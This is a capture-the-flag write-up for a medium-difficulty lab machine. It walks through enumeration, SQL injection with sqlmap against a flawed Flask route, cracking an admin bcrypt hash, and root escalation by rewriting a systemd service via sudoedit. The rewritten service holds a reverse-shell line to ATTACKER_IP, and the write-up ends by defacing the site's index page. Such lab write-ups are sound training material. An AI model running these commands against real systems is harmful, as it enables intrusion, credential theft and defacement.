7 minute read

  Difficulty   IP Address   Room Link  
  Medium   10.10.103.117   Revenge  

[ Read through your mission and continue ]

This room is a sequel to a room that I’ve done before: Blog

The room tells us to download a message file and read it:

screenshot1

Looks like our mission is to break into the target server that’s running a website and deface the front page :smiling_imp:


[ flag1 ]

As always, we begin with a full nmap scan on the target machine:

sudo nmap -sC -sV -vv -T4 -p- 10.10.103.117

Results:

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[REDACTED]
80/tcp open  http    syn-ack ttl 61 nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E859DC70A208F0F0242640410296E06A
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Home | Rubber Ducky Inc.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that only 2 ports are open: 22 (SSH), 80 (HTTP)

Since there’s nothing much we can do with the SSH server right now, let’s go ahead and visit the HTTP website:

screenshot2

We are brought to an ecommerce website that sells rubber ducks :duck:

I first searched for any low-hanging fruit on the site, such as checking the /robots.txt file and looking at the source code. However, there was nothing of interest there.

Next, I took a look around the website. What piqued my interest was the Login page:

screenshot3

I tried to log in with common default credentials like admin:admin. However, they didn’t work. I also tried some common SQL injection payloads such as admin' OR 1=1 --, but those did not work as well. To be certain, I ran sqlmap on the login page, but it was unable to return any results. Hitting this dead-end, I decided to move on first.

I then ran a gobuster directory scan on the main page:

gobuster dir -u http://10.10.103.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 25

screenshot4

Gobuster was able to find 2 interesting directories: /admin and /requirements.txt

If we visit /admin, we see the same login page, but this time for the admin:

screenshot5

I did the same enumeration as with the earlier login page on /login, but once again, I was unable to find anything useful.

I then took a look at /requirements.txt:

screenshot6

Interesting… we can tell from the various libraries that the web server is running Flask. This also tells us that the server is using Python.

Let’s update our Gobuster scan to see if it can enumerate any Python files:

gobuster dir -u http://10.10.103.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,py -t 25

screenshot7

Nice! Gobuster managed to find the app.py file for this web server!

The app.py file contains the backend code for the website. Let’s download it and take a look:

from flask import Flask, render_template, request, flash
from flask_sqlalchemy import SQLAlchemy
from sqlalchemy import create_engine
from flask_bcrypt import Bcrypt

app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)
bcrypt = Bcrypt(app)


app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
eng = create_engine('mysql+pymysql://root:PurpleElephants90!@localhost/duckyinc')


# Main Index Route
@app.route('/', methods=['GET'])
@app.route('/index', methods=['GET'])
def index():
    return render_template('index.html', title='Home')


# Contact Route
@app.route('/contact', methods=['GET', 'POST'])
def contact():
    if request.method == 'POST':
        flash('Thank you for reaching out.  Someone will be in touch shortly.')
        return render_template('contact.html', title='Contact')

    elif request.method == 'GET':
        return render_template('contact.html', title='Contact')


# Products Route
@app.route('/products', methods=['GET'])
def products():
    return render_template('products.html', title='Our Products')


# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
    with eng.connect() as con:
        # Executes the SQL Query
        # This should be the vulnerable portion of the application
        rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
        product_selected = rs.fetchone()  # Returns the entire row in a list
    return render_template('product.html', title=product_selected[1], result=product_selected)


# Login
@app.route('/login', methods=['GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html', title='Customer Login')


# Admin login
@app.route('/admin', methods=['GET'])
def admin():
    if request.method == 'GET':
        return render_template('admin.html', title='Admin Login')


# Page Not found error handler
@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html', error=e), 404


@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html', error=e), 500


if __name__ == "__main__":
    app.run('0.0.0.0')

If we take a closer look at the Product Route, we see something very interesting:

# Product Route
# SQL Query performed here
@app.route('/products/<product_id>', methods=['GET'])
def product(product_id):
    with eng.connect() as con:
        # Executes the SQL Query
        # This should be the vulnerable portion of the application
        rs = con.execute(f"SELECT * FROM product WHERE id={product_id}")
        product_selected = rs.fetchone()  # Returns the entire row in a list
    return render_template('product.html', title=product_selected[1], result=product_selected)

It looks like the product_id that is supplied in the URL is directly inserted into the SQL query without any input sanitization. This seems to be a potential SQL injection point! There is even a comment left behind that confirms that this is a “vulnerable portion of the application”.

Let’s now use sqlmap to test this endpoint:

sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 --dbs

screenshot8

Great! sqlmap managed to identify 3 payloads that this end point is vulnerable to. It was also able to enumerate the databases on the server. The duckyinc database looks especially interesting!

Let’s take a look at the tables within duckyinc:

sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc --tables

screenshot9

There are 3 tables within duckyinc: system_user, user and product

Let’s dump out all of the data in the user table:

sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc -T user --dump

screenshot13

We can find flag1 within one of the user entries!


[ flag2 ]

Now let’s dump out all of the data in the system_user table:

sqlmap -u http://10.10.103.117/products/1 --level=5 --risk=3 --batch --threads=10 -D duckyinc -T system_user --dump

screenshot10

Nice, we’ve obtained the administrator’s username:

server-admin

We also have their hashed password:

$2a$08$GPh7KZcK2kNIQEm5byBj1umCQ79xP.zQe19hPoG/w2GoebUtPfT8a

We can use john to crack this password:

john hash --wordlist=/usr/share/wordlists/rockyou.txt

After a couple of seconds, john was able to crack the administrator’s password:

screenshot11

We now have the admin’s credentials:

server-admin : inuyasha

From app.py, we can see that the login forms at /admin and /login do not actually lead anywhere. Hence, the only other place where these credentials might work would be on the SSH server. Let’s try logging in!

screenshot12

And we’re in!

flag2 can be found in the home directory of server-admin:

screenshot14


### [ flag3 ]

Now let’s find a way to escalate our privileges.

The first thing I did was to check server-admin’s sudo privileges:

screenshot15

Interesting, it looks like there is a service file called duckyinc.service that we can run using systemctl. We’ll be able to run this file as root as well.

Let’s first find out where this service file is located:

find / -iname 'duckyinc.service' 2>/dev/null

screenshot16

It’s located in: /etc/systemd/system/

Let’s now take a look at its contents:

screenshot17

From ExecStart, we know that this service runs gunicorn when it is started, which will then serve the webapp.

However, this doesn’t really matter as if we are able to overwrite this file, we will be able to make the service run any command that we want!

I tried to edit the service file but soon realised that it is not writable by us:

screenshot18

Fortunately, if we take a closer look at our sudo privileges again, we’ll notice that we can actually run sudoedit on the duckyinc.service file:

screenshot19


sudoedit allows users to edit files with super user privileges.


Hence, we can edit duckyinc.service with:

sudoedit /etc/systemd/system/duckyinc.service

screenshot20

We then replace the file with the following code:

[Unit]
Description=abc

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1"

[Install]
WantedBy=multi-user.target

Now, when duckyinc.service is started, a reverse shell connection will be opened back to our local machine. Since the service is started as root, the reverse shell will be a privileged as well.

With the file saved, we make sure to start a netcat listener on our local machine.

Then, we open the reverse shell by restarting the duckyinc service (as it is already running):

sudo systemctl daemon-reload
sudo /bin/systemctl restart duckyinc.service

(We have to reload the daemon first so that our changes to the duckyinc.service file will be registered)

screenshot21

With that, the reverse shell was successfully opened and we’re now in as root!

Looking into /root, it seems that flag3 is not inside…

I used find and grep to try and locate flag3 on the machine, but I couldn’t find it. After spending a long time searching, I decided to refer to the hint:

screenshot22

If we refer back to our mission objectives, we know we need to deface the main page of the website.

The HTML files that make up the website can be found in /var/www/duckyinc/templates/

screenshot25

The main page uses index.html, so I went ahead and replaced the entire file:

echo gg > index.html

With the defacement done, we find that flag3 has appeared in /root!

screenshot26

We can then obtain the final flag:

screenshot27